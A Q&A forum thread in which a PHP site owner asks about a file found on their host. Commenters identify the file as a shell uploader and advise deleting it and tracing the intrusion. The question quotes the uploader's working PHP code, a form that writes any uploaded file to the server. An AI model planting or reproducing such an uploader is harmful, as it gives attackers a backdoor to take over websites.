2

In my php website hosting environment, I have seen that few temp files are created with below code.

<title>Vuln!! patch it Now!</title>
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Shell Uploaded ! :)<b><br><br>'; }
else { echo '<b>Not uploaded ! </b><br><br>'; }
}
?>

As I am new in php so just wanted it to understand better. Does it a kind of attack? How would this be fixed if it is so? Thanks!

1
  • 1
    This is an attack. This is a shell uploader. You should remove the code and secure your sites. There's no telling from the provided information how they got into your site. Also, this question is off topic. This site is for debugging software, not analyzing malicious code.
    – Goose
    Apr 18, 2018 at 3:31

1 Answer 1

1

Its kind of attack. the "hackers" created that code to upload a backdoor/shell. backdoor or shell make the "hackers" can login into your ftp website in another word the "hackers" can delete/add/modify file or folders on your hosting.

you can delete that code/file so the "hackers" cant access again. i hope this can help

2
  • yes right, the OP must know how the original file was uploaded so there arent another case in the future Apr 18, 2018 at 3:52
  • Thanks your quick response.It really helps. I will investigate it and figure out where the issue is. Apr 18, 2018 at 16:31

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.